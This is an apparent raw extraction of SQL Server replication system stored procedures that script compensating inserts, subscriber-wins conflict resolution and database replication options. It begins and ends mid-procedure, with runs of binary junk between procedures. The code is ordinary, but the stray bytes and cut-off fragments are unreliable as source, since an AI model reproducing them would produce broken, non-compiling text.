		select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
					+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = N'_old'
				,@mode = 5
		--
		-- script the sending command
		--
		exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
		--
		-- script the refresh commands for OLD values of non PK unique keys
		--
		exec @rc = sp_MSscript_compensating_insert @publication, @article, @objid, 2, 0
		if (@rc != 0 or @@error != 0)
			return 1
		--
		-- continue scripting
		--
		select @cmd = N'
		end
		' + N'-- 
		' + N'--  Generate delete+insert for NEW values of non PK keys
		' + N'-- 
		if (@cftcase in (20,22,23))
		begin'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- generate delete compensating command for NEW values of non PK unique keys
		--
		select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
					+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
					,@artid = @artid
					,@prefix = N'@c' 
					,@suffix = NULL
					,@mode = 5
		--
		-- script the sending command
		--
		exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
		--
		-- script the refresh commands for NEW values of non PK unique keys
		--
		exec @rc = sp_MSscript_compensating_insert @publication, @article, @objid, 3, 0
		if (@rc != 0 or @@error != 0)
			return 1
		--
		-- continue scripting
		--
		select @cmd = N'
		end'
		insert into #proctext(procedure_text) values( @cmd )
	end
	--
	-- continue scripting
	--
	select @cmd = N'

		' + N'-- 
		' + N'--  Generate delete+insert for OLD va!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(J}}vcreate procedure sys.sp_MSscript_compensating_insert 
(
    @publication sysname 	-- publication name
    ,@article sysname 		-- article name
    ,@objid int			-- table object id
    ,@proctype tinyint		-- what are we scripting 		
    -- 0 = use new_pk
    -- 1 = use old_pk
    -- 2 = use old nonpkkeys
    -- 3 = use new nonpkkeys
    -- 4 = use oldallkeys
    -- 5 = use newallkeys
    ,@fdodeclare bit = 1	-- 0 = do not script declares for non PK unique key processing
)
as
begin
    declare @cmd nvarchar(4000)
                ,@artid int
                ,@pubid int
                ,@dest_table sysname
                ,@dest_owner nvarchar(260)
                ,@colname      sysname
                ,@ccoltype     sysname
                ,@this_col     int
                ,@rc           int
                ,@num_col	  int
                ,@qualname nvarchar(540)
                ,@cast_str nvarchar(4000)
                ,@column_string nvarchar(4000)
                ,@filter_clause nvarchar(4000)
                ,@table_name sysname
                ,@owner_name sysname
                ,@ins_cmd nvarchar(255)
                ,@collen int
                ,@first_time bit
                ,@fhasnonpkuniquekeys int
                ,@fprocesshfilter bit
    declare @pkfetch table ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    --
    -- constants
    --
    declare @typeusenew_pk tinyint
                ,@typeuseold_pk tinyint
                ,@typeuseoldnonpkkeys tinyint
                ,@typeusenewnonpkkeys tinyint
                ,@typeuseoldallkeys tinyint
                ,@typeusenewallkeys tinyint
    --
    -- initialize constants
    --
    select @typeusenew_pk = 0
                ,@typeuseold_pk = 1
                ,@typeuseoldnonpkkeys = 2
                ,@typeusenewnonpkkeys = 3
                ,@typeuseoldallkeys = 4
                ,@typeusenewallkeys = 5
                ,@fprocesshfilter = 0
    --
    -- validate @proctype
    --
    if (@proctype not in (@typeusenew_pk,@typeuseold_pk,@typeuseoldnonpkkeys,
            @typeusenewnonpkkeys,@typeuseoldallkeys,@typeusenewallkeys))
    begin
        -- raiserror invalid proctype
        return 1
    end
    --
    -- initialize the vars we will use
    --
    select @pubid = pubid from syspublications where name = @publication
    select @artid = artid, @dest_table = dest_table, @dest_owner = dest_owner, 
            @ins_cmd = ins_cmd, @filter_clause = cast(filter_clause as nvarchar(4000))
    from sysarticles 
    where name = @article and pubid = @pubid
    select @dest_owner = case when (@dest_owner IS NULL) then N''
                                else quotename(@dest_owner) + N'.' end
            ,@fhasnonpkuniquekeys = 0
    exec sp_MSget_qualified_name @objid, @qualname OUTPUT
    --
    -- initialize more vars if we have filter clause
    --
    if( @filter_clause is not null and datalength( @filter_clause ) > 0 )
    begin
        select @fprocesshfilter = 1
                ,@table_name = name
                ,@owner_name = schema_name(schema_id)
        from sys.objects 
        where object_id = @objid
        --
        -- prepare the filter clause
        --
        exec @rc = sys.sp_MSsubst_filter_names @owner_name, @table_name, @filter_clause output
        if @rc <> 0 or @@error <> 0
            return 1        
    end
    --
    -- Do we have non PK unique keys
    --
    exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @objid
    --
    -- If we are generating refreshing commands
    -- we will be using cursors
    --
    if (@proctype in (@typeuseoldnonpkkeys,@typeusenewnonpkkeys
                            ,@typeuseoldallkeys,@typeusenewallkeys))
    begin
        --
        -- generate cursor to collect PK for selected rowset
        -- and then perform delete compensation followed by
        -- insert compensation
        --
        declare @cmd2 nvarchar(4000)
                    ,@cmd3 nvarchar(4000)
                    ,@spacer nvarchar(5)
                    ,@typestring sysname
                    ,@isset int
                    ,@wheremode tinyint
                    ,@suffix nvarchar(10)
        declare @pkvars table ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
        declare @pkcols table ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)

        --
        -- if the article has no non PK unique keys
        -- we should not be processing for @typeuseoldnonpkkeys,@typeusenewnonpkkeys
        --
        if (@fhasnonpkuniquekeys = 0 and 
            @proctype in (@typeuseoldnonpkkeys,@typeusenewnonpkkeys))
        begin
            -- error we should not generate these cases if there are no non PK unique keys
            return 1
        end
        --
        -- build some strings for PK columns and PK variables (@pkc1..)
        --
        select @cmd = N''
                ,@cmd2 = N''
                ,@cmd3 = N''
                ,@spacer = N''
        declare #hccolid cursor local fast_forward for 
            select column_id, name from sys.columns where object_id = @objid order by column_id asc
        open #hccolid
        fetch #hccolid into @this_col, @colname
        while (@@fetch_status != -1)
        begin
            exec @isset = sp_MSiscolpk @objid, @this_col
            if @isset != 0 and (@colname is not null)
            begin
					select @typestring = sys.fn_gettypestring(@objid, @this_col, 1, 0, 0, 0, 1, 0, 0, 0, 0) -- LUDT+Spatial merge conflict triggger
                select @cmd = @cmd + @spacer + N'@pkc' + convert( nvarchar, @this_col ) + N' ' + @typestring 
                        ,@cmd2 = @cmd2 + @spacer + quotename(@colname)
                        ,@cmd3 = @cmd3 + @spacer + N'@pkc' + convert( nvarchar, @this_col )
                select @spacer = N','

                if len( @cmd ) > 3000
                begin
                    insert into @pkvars(procedure_text) values( @cmd )
                    select @cmd = N''
                end
                if len( @cmd2 ) > 3000
                begin
                    insert into @pkcols(procedure_text) values( @cmd2 )
                    select @cmd2 = N''
                end
                if len( @cmd3 ) > 3000
                begin
                    insert into @pkfetch(procedure_text) values( @cmd3 )
                    select @cmd3 = N''
                end
            end
            fetch #hccolid into @this_col, @colname
        end
        close #hccolid
        deallocate #hccolid
        if len(@cmd) > 0
            insert into @pkvars(procedure_text) values( @cmd )
        if len(@cmd2) > 0
            insert into @pkcols(procedure_text) values( @cmd2 )
        if len(@cmd3) > 0
            insert into @pkfetch(procedure_text) values( @cmd3 )
        --
        -- script the PK variable declare now
        --
        if (@fdodeclare = 1)
        begin
            select @cmd = N'
                declare '
            insert into #proctext(procedure_text) values( @cmd )
            insert into #proctext(procedure_text) 
                select procedure_text from @pkvars order by c1 asc
        end
        --
        -- script the cursor declare now
        --
        select @cmd = N'
            declare #hccompins cursor local fast_forward for 
                select distinct '
        insert into #proctext(procedure_text) values( @cmd )
        insert into #proctext(procedure_text) 
            select procedure_text from @pkcols order by c1 asc
        select @cmd = N'
            from ' + @qualname 
        insert into #proctext(procedure_text) values( @cmd )
        --
        -- script the where clause for the cursor
        -- based on @proctype
        --
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(J_}v    if (@proctype = @typeuseoldnonpkkeys) 
        begin
            select @wheremode = 7
                    ,@suffix = N'_old'
        end
        else if (@proctype = @typeusenewnonpkkeys) 
        begin
            select @wheremode = 7
                    ,@suffix = NULL
        end
        else if (@proctype = @typeuseoldallkeys) 
        begin
            select @wheremode = 6
                    ,@suffix = N'_old'
        end
        else if (@proctype = @typeusenewallkeys) 
        begin
            select @wheremode = 6
                    ,@suffix = NULL
        end
        exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
                            ,@artid = @artid
                            ,@prefix = N'@c' 
                            ,@suffix = @suffix
                            ,@mode = @wheremode
        --
        -- if we have horizontal filters 
        -- include them in the where clause
        --
        if (@fprocesshfilter=1)
        begin
            insert into #proctext(procedure_text) values (' and (' + @filter_clause + ')')
        end
        --
        -- script the cursor open and fetch
        --
        select @cmd = N'
            open #hccompins
            fetch #hccompins into '
        insert into #proctext(procedure_text) values( @cmd )
        insert into #proctext(procedure_text) 
            select procedure_text from @pkfetch order by c1 asc
        select @cmd = N'
            while (@@fetch_status != -1)
            begin '
        insert into #proctext(procedure_text) values( @cmd )
        --
        -- we are processing a refresh process
        -- issue a compensating delete for the row
        -- select in the cursor
        --
        select @cmd = N'
            ' + '--
            ' + '-- Issue a delete command for row selected in cursor
            ' + '-- '
        insert into #proctext(procedure_text) values( @cmd )
        select @cmd = N'
            select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
                + sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
        insert into #proctext(procedure_text) values( @cmd )
        exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
                            ,@artid = @artid
                            ,@prefix = N'@pkc' 
                            ,@suffix = NULL
                            ,@mode = 8
        --
        -- script the send for this command
        --
        exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
        --
        -- continue scripting
        --
        select @cmd = N'
            ' + '--
            ' + '-- Issue a compensating insert for row selected in cursor
            ' + '-- '
        insert into #proctext(procedure_text) values( @cmd )
    end -- if the article has no non PK unique keys
    else
    begin
        --
        -- Processing for generation for PK cases only
        -- Check if we have filter clause
        --
        if (@fprocesshfilter=1)
        begin
            --
            -- script a if exists wrapper using filter clause
            -- so that we send only the necessary rows
            --
            select @cmd = N'
			if exists (select * from ' + @qualname 
            insert into #proctext(procedure_text) values( @cmd )
            if (@proctype = @typeuseold_pk)
                exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0, 'del'
            else
                exec sp_MSscript_where_clause @objid, @artid, 'new_pk_q', NULL, 0, 'ins'
            select @cmd = N' and (' + @filter_clause + ') )
			begin '
            insert into #proctext(procedure_text) values( @cmd )
        end
    end
    --
    -- Prepare the compensating command. Since we will be using 
    -- an nvarchar(max) variable for the compensating command,
    -- there are no fixed limits for the length of the command
    --
    -- use the insert custom command if available
    --
    if (@ins_cmd = N'SQL')
    begin
        select @cmd = N'
            select @cmd = N''INSERT INTO ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
            + sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N''' + 
            '' SELECT '' + '
    end
    else
    begin
        select @cmd = N'
            select @cmd = N''EXEC ' + sys.fn_replreplacesinglequote(substring(@ins_cmd, 5, len(@ins_cmd) - 4)) collate database_default + N' '' + '
    end
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- enumerate the columns
    --
    select @num_col = 0
    declare #hccolid cursor local fast_forward for 
        select column_id, max_length from sys.columns where object_id = @objid order by column_id asc
    open #hccolid
    fetch #hccolid into @this_col, @collen
    while (@@fetch_status != -1)
    begin
        exec @rc = sp_MSget_colinfo @objid, @this_col, @artid, 1, @colname output, @ccoltype output
        if @rc = 0  and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed<>1)
        begin
            if rtrim(@ccoltype) not like N'timestamp' 
            begin
                select @num_col = @num_col + 1
                --
                -- Prepare the column string based on column type
                --				
                if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('ntext','text'))
                begin
                    select @cast_str = case 
                        when (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'ntext')
                            then N' ISNULL(''N'''''' + sys.fn_replreplacesinglequote(cast(' + quotename(@colname) + N' as nvarchar(max))) collate database_default + '''''''', ''null'') '
                            else N' ISNULL('''''''' + sys.fn_replreplacesinglequote(cast(' + quotename(@colname) + N' as nvarchar(max))) collate database_default + '''''''', ''null'') '
                        end	   
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('varchar','nvarchar','char','nchar'))
                begin	
                    select @cast_str = case 
                        when (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('nvarchar', 'nchar'))
                            then N' ISNULL(''N'''''' + sys.fn_replreplacesinglequote(' + quotename(@colname) + N') collate database_default + '''''''', ''null'') '
                            else N' ISNULL('''''''' + sys.fn_replreplacesinglequote(' + quotename(@colname) + N') collate database_default + '''''''', ''null'') '
                        end	   
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'image')
                begin
                    select @cast_str = N' ISNULL(sys.fn_varbintohexsubstring(1, cast(' + quotename(@colname) + N' as varbinary(max)),1,0) collate database_default, ''null'') '
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('binary','varbinary'))
                begin
                    select @cast_str = N' ISNULL(sys.fn_varbintohexsubstring(1,' + quotename(@colname) + N',1,0) collate database_default, ''null'') '
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('bit','bigint','int','smallint','tinyint','decimal','numeric'))
                begin
                    select @cast_str = N' ISNULL(CAST(' + quotename(@colname) + N' as nvarchar), ''null'') '
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('float','real'))
                begin
                    select @cast_str = N' ISNULL(CONVERT(nvarchar(60),' + quote!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<!J4(S}name(@colname) + N',2), ''null'') '
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('money','smallmoney'))
                begin
                    select @cast_str = N' ISNULL(CONVERT(nvarchar(40),' + quotename(@colname) + N',2), ''null'') '
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'uniqueidentifier')
                begin
                    select @cast_str = N' ISNULL('''''''' + CAST(' + quotename(@colname) + N' as nvarchar(40)) + '''''''', ''null'') '
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('datetime','smalldatetime'))
                begin
                    select @cast_str = N' ISNULL('''''''' + CONVERT(nvarchar(40), ' + quotename(@colname) + N', 112) + N'' '' +  CONVERT(nvarchar(40), ' + quotename(@colname) + N', 114) + '''''''', ''null'') '
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('date','time','datetime2','datetimeoffset'))
                begin
                    select @cast_str = N' ISNULL('''''''' + CONVERT(nvarchar(40), ' + quotename(@colname) + N', 121) + '''''''', ''null'') '
                end
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'sql_variant')
                begin
                    select @cast_str = N' ISNULL(sys.fn_sqlvarbasetostr(' + quotename(@colname) + N' ) collate database_default, ''null'') '
                end					
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'xml')
                begin
                    select @cast_str = N' ISNULL(''N'''''' + CAST(' + quotename(@colname) + N' as nvarchar(max)) + '''''''', ''null'') '
                end
                else
                begin
                    select @cast_str = N' ISNULL(CAST(' + quotename(@colname) + N' as nvarchar), ''null'') '
                end
                --
                -- Handling general fixed type column cases
                --
                if (@num_col = 1)
                begin
                    select @column_string = N'
            ' + @cast_str
                end
                else
                begin
                    select @column_string = N'
            + '','' + ' + @cast_str
                end
                --
                -- script out the column string
                --
                insert into #proctext(procedure_text) values( @column_string )
            end -- if not like timestamp
        end -- replicated column that is not computed
        --
        -- Server has query processing limitation on number of expressions
        -- Refer to 285603 - So break down the select to every 100 columns
        -- processed so far
        -- 
        if (@num_col > 1 and (@num_col % 100) = 0)
        begin
            --
            -- Done processing all the columns
            -- complete the compensating command where clause
            --
            select @cmd = N'
        from ' + @qualname 
            insert into #proctext(procedure_text) values( @cmd )
            --
            -- script the where clause
            --
            if (@proctype in (@typeusenew_pk,@typeuseold_pk))
            begin
                --
                -- only PK unique key
                --
                if (@proctype = @typeuseold_pk)
                exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0, 'del'
                else
                exec sp_MSscript_where_clause @objid, @artid, 'new_pk_q', NULL, 0, 'ins'
            end
            else
            begin
                --
                -- we are in the cursor for qualifying row
                -- 
                exec sp_scriptpkwhereclause @src_objid = @objid
                            ,@artid = @artid
                            ,@prefix = N'@pkc'
                            ,@artcolcounter = 2
            end
            --
            -- prepare the command string for processing further columns
            --
            select @cmd = N'

        select @cmd = @cmd  '  
            insert into #proctext(procedure_text) values( @cmd )
        end
        --
        -- process the next column
        --
        fetch #hccolid into @this_col, @collen
    end
    close #hccolid
    deallocate #hccolid
    --
    -- Done processing all the columns
    -- complete the compensating command where clause
    --
    if (@num_col > 1 and (@num_col % 100) != 0)
    begin
        select @cmd = N'
        from ' + @qualname 
        insert into #proctext(procedure_text) values( @cmd )
        --
        -- script the where clause
        --
        if (@proctype in (@typeusenew_pk,@typeuseold_pk))
        begin
            --
            -- only PK unique key
            --
            if (@proctype = @typeuseold_pk)
            exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0, 'del'
            else
            exec sp_MSscript_where_clause @objid, @artid, 'new_pk_q', NULL, 0, 'ins'
        end
        else
        begin
            --
            -- we are in the cursor for qualifying row
            -- 
            exec sp_scriptpkwhereclause @src_objid = @objid
                        ,@artid = @artid
                        ,@prefix = N'@pkc'
                        ,@artcolcounter = 2
        end
    end
    --
    -- Script the compensating send
    --
    exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
    --
    -- More scripting for refresh command processing modes
    --
    if (@proctype in (@typeuseoldnonpkkeys,@typeusenewnonpkkeys
                            ,@typeuseoldallkeys,@typeusenewallkeys))
    begin
        --
        -- script the cursor fetch
        --
        select @cmd = N'
            fetch #hccompins into '
        insert into #proctext(procedure_text) values( @cmd )
        insert into #proctext(procedure_text) 
        select procedure_text from @pkfetch order by c1 asc
        --
        -- script the cursor close and deallocate
        --
        select @cmd = N'
            end
            close #hccompins
            deallocate #hccompins '
        insert into #proctext(procedure_text) values( @cmd )
    end
    else
    begin
        --
        -- PK cases only
        -- post processing for horizontal filter case
        --
        if (@fprocesshfilter=1)
        begin
            select @cmd = N'
        		end'
            insert into #proctext(procedure_text) values( @cmd )
        end
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`b<ZJ<
8j0 8
--
-- Name:    
--          sp_helpreplicationdboption
--          
-- Description: 
--          This stored procedure shows databases that have the replication
--          option enabled.  It is executed at the publisher on any database.
--          It is used in snapshot, transactional, and merge replication.
--          It is not valid for heterogeneous publishers.
--
--          When the @dbname is speciified, a result set is returned if the
--          database meets the criteria specified in @type.
--
--          When the @dbname parameter is NULL, the result set includes entries
--          for all databases at the publisher that meet the criteria specified
--          in @type.   
--
--          The user must be a member of the db_owner role of a publishing database
--          or in the PAL for a publication associated with the publishing database 
--          to retrieve information for that database.
--  
-- Security: 
--          'sysadmin', db_owner of publishing database, PAL for publication
--          associated with publishing databaseDB
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Result set of database name, database id, transactional publisher,
--          merge publisher, current user is dbowner, database is readonly.
--      
-- Owner:   
--          <current owner> 
--
create procedure sys.sp_helpreplicationdboption 
(
    @dbname sysname = N'%'
    ,@type sysname = N'replication allowed'
    ,@reserved bit = 0  -- 1 = get publication and pull subscription info
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @retcode int
            ,@typebit int
            ,@distbit int -- bit to distinguish distribution databases
            ,@dbowner bit
            ,@issysadmin bit
            ,@replication_db sysname
            ,@db_category int
            ,@inPAL int
            ,@inPALrole bit
            ,@transpublish bit
            ,@mergepublish bit
            ,@cmd nvarchar(500)

    SELECT @distbit = 16
                -- optimize security check for sysadmin and dbo
                ,@issysadmin = case when (IS_SRVROLEMEMBER(N'sysadmin') = 1) then 1 else 0 end
                ,@inPAL = 0
                ,@inPALrole = 0
                ,@typebit = case 
                                when (lower(@type) like N'publish%') then 1
                                when (lower(@type) like N'subscribe%') then 2
                                when (lower(@type) like N'merge publish%') then 4
                                when (lower(@type) like N'merge subscribe%') then 8
                                when (lower(@type) like N'replication allowed%') then 0
                                else null end

    if @typebit is null
    begin
        raiserror(14091,-1,-1)
        return 1
    end
    --
    -- Parameter Check:  @dbname.
    -- Check to make sure that the database name conforms to the rules
    -- for identifiers.
    --
    IF @dbname <> N'%'
    BEGIN
        EXECUTE @retcode = sys.sp_validname @dbname
        IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)
    END

    --
    -- create temp table for resultset
    --
    CREATE TABLE #replicationdbs 
    (
        name sysname primary key, 
        id int identity NOT NULL, 
        transpublish bit not null, 
        mergepublish bit not null, 
        dbowner bit not null, 
        dbreadonly bit not null,
        haspublications bit NULL,
        haspullsubscriptions bit NULL
    )
    --
    -- populate the table
    --
    INSERT INTO #replicationdbs (name, transpublish, mergepublish, dbowner, dbreadonly) 
        SELECT name 
                ,is_published
                ,is_merge_published
                ,case when (@issysadmin = 1) then 1 else 0 end
                ,is_read_only
        FROM master.sys.databases
        WHERE ((@dbname = N'%') OR (name = @dbname))
            AND ((@typebit = 0) or (is_published = 1) or (is_merge_published = 1) or (is_subscribed = 1))
            AND (HAS_DBACCESS ( name ) = 1)
            AND (@typebit != 0 OR is_distributor = 0) --Filter out distribution databases
            AND (@typebit != 0 OR name not in (N'master',N'model',N'tempdb',N'msdb',N'MSSQLWeb')) -- filter our system dbs
            AND source_database_id is NULL -- exclude snapshot files

    --
    -- enumerate database collection
    --
    DECLARE #hCdboinfo CURSOR LOCAL FAST_FORWARD FOR
        SELECT name, transpublish, mergepublish, dbowner
        FROM #replicationdbs

    OPEN #hCdboinfo
    FETCH #hCdboinfo INTO @replication_db, @transpublish, @mergepublish, @dbowner
    WHILE (@@fetch_status <> -1)
    BEGIN
        --
        -- initialize
        --
        select @inPAL = 0
                ,@inPALrole = 0
        --
        -- skip dbowner check when sysadmin
        --
        if (@dbowner = 0)
        begin
            exec @dbowner = sys.sp_MSrepl_isdbowner @dbname = @replication_db
            if (@dbowner = 1)
            begin
                update #replicationdbs
                set dbowner = 1
                where name = @replication_db
            end
        end
        --
        -- skip PAL check when sysadmin or dbo
        --
        if (@dbowner = 0)
        begin
            --
            -- Check to see if the user has PAL access to a database publication
            --
            if (@transpublish = 1)
            begin
                -- Check PAL for transactional publication
                select @cmd = quotename(@replication_db) + N'.sys.sp_MScheck_palroleinpubdb '
                EXEC @retcode = @cmd @login = NULL 
                                            ,@hasaccess = @inPAL output
            end

            if (@mergepublish = 1)
            begin
                -- Check PAL role for merge publication
                select @cmd = quotename(@replication_db) + N'.sys.sp_MSrepl_IsUserInAnyPAL '
                EXEC @retcode = @cmd
                    @raise_error = 0
                if @@error = 0 and @retcode = 0
                    select @inPALrole = 1
            end
        end
        --
        -- Valid entry if user has access
        --
        if (@dbowner = 0 and @inPAL = 0 and @inPALrole = 0)
        begin
            DELETE #replicationdbs where name = @replication_db
        end
        else if (@reserved = 1)
        begin
            --
            -- get publication and pull subscription information
            --
            select @cmd = quotename(@replication_db) + N'.sys.sp_MSrepl_helpreplicationdboptionex '
            EXEC @retcode = @cmd  
                @name = @replication_db
                ,@transpublish = @transpublish
                ,@mergepublish = @mergepublish
        end
        --
        -- get next db entry
        --
        FETCH #hCdboinfo INTO @replication_db, @transpublish, @mergepublish, @dbowner
    END
    CLOSE #hCdboinfo
    DEALLOCATE #hCdboinfo
    --
    -- return resultset
    --
    if (@reserved = 0)
    begin
        SELECT 
                name  
                ,id
                ,transpublish
                ,mergepublish
                ,dbowner 
                ,dbreadonly
        FROM #replicationdbs order by name
    end
    else
    begin
        SELECT 
                name  
                ,id
                ,transpublish
                ,mergepublish
                ,dbowner 
                ,dbreadonly
                ,haspublications
                ,haspullsubscriptions
        FROM #replicationdbs order by name
    end
    -- all done
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<ZJ?fUVQ0B@ 
8create procedure sys.sp_MSscript_update_subwins 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
	,@artid int				-- article id
	,@identity_insert bit
)
AS
BEGIN
	declare @cmd nvarchar(4000)
			,@pubid int
			,@qualname nvarchar(517)
			,@rc           int
			,@fhasnonpkuniquekeys int

	--
	-- initialize the vars we will use
	--
	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	--  check if this article has non PK unique keys
	--
	exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @objid
	--
	-- start scripting
	--
	select @cmd = N'
	if (@execution_mode = @QSubWins)
	begin
		' + N'--
		' + N'-- Subscriber wins resolution
		' + N'-- 
		if (@cftcase in (10,11,14,15,18,20,21,22))
		begin
			'+N'--
			'+N'-- delete the row with OLD_PK
			'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script delete with PK=OLD_PK
	--
	select @cmd = N'
			delete ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0
	--
	-- continue scripting
	--
	select @cmd = N'
		end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- if the table has non PK unique keys
	-- generate the commands for non PK keys
	--
	if (@fhasnonpkuniquekeys = 1)
	begin
		select @cmd = N'
		if (@cftcase in (17,20,22,23))
		begin
			'+N'--
			'+N'-- delete with NEW values of non PK keys
			'+N'--'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- script delete with NEW values of non PK keys
		--
		select @cmd = N'
			delete ' + @qualname 
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
					,@artid = @artid
					,@prefix = N'@c' 
					,@suffix = NULL
					,@mode = 7
		--
		-- continue scripting
		--
		select @cmd = N'
		end'
		insert into #proctext(procedure_text) values( @cmd )
	end
	--
	-- continue scripting
	--
	select @cmd = N'
		if (@cftcase in (15,16))
		begin
			'+N'--
			'+N'-- delete with NEW values of all keys
			'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script delete with NEW values of all keys
	--
	select @cmd = N'
			delete ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = NULL
				,@mode = 6
	--
	-- continue scripting
	--
	select @cmd = N'
		end
		if (@cftcase in (10,11,12,13,14,15,16,17,18,20,21,22,23,24))
		begin
			'+N'--
			'+N'-- insert with NEW values of all keys
			'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	--  
	-- generate insert statement with NEW values 
	--
	exec @rc = sp_script_insertforcftresolution 
			@objid = @objid
			,@artid = @artid
			,@identity_insert = @identity_insert
			,@prefix = N'@c'
			,@suffix = NULL
	--
	-- continue scripting
	--
	select @cmd = N'
		end

		' + N'--
		' + N'-- --------------------------------------------------------------------
		' + N'-- all done for conflict resolution for Subscriber Wins policy
		' + N'-- --------------------------------------------------------------------
		' + N'--
	end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``G<#J
0 {8create procedure sys.sp_MSscriptdelconflictfinder 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
)
as
begin
	declare 
			@rc int
